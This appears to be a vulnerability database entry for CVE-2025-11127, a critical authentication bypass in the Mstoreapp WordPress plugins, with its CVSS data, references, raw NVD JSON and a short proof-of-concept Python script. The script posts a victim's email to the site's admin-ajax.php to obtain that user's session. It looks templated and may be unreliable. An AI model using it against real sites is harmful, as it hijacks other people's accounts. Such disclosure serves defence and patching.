CVE-2025-11127

Description

The Mstoreapp Mobile App WordPress plugin through 2.08 and Mstoreapp Mobile Multivendor through 9.0.1 do not properly verify users identify when using an AJAX action, allowing unauthenticated users to retrieve a valid session for arbitrary users by knowing their email address.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mstoreapp Mobile App WordPress plugin < 2.08

Mstoreapp Mobile Multivendor < 9.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' email = '[email protected]' payload = { 'action': 'mstoreapp_ajax_action', 'email': email } response = requests.post(f'{target}/wp-admin/admin-ajax.php', data=payload) print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11127
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11127
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11127/
[4] VulDB https://vuldb.com/cve/CVE-2025-11127
[5] https://wpscan.com/vulnerability/6432bd1a-6e44-4a3f-890b-df2bd877d626/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11127", "sourceIdentifier": "[email protected]", "published": "2025-11-21T14:15:59.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Mstoreapp Mobile App WordPress plugin through 2.08 and Mstoreapp Mobile Multivendor through 9.0.1 do not properly verify users identify when using an AJAX action, allowing unauthenticated users to retrieve a valid session for arbitrary users by knowing their email address."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "references": [{"url": "https://wpscan.com/vulnerability/6432bd1a-6e44-4a3f-890b-df2bd877d626/", "source": "[email protected]"}]}}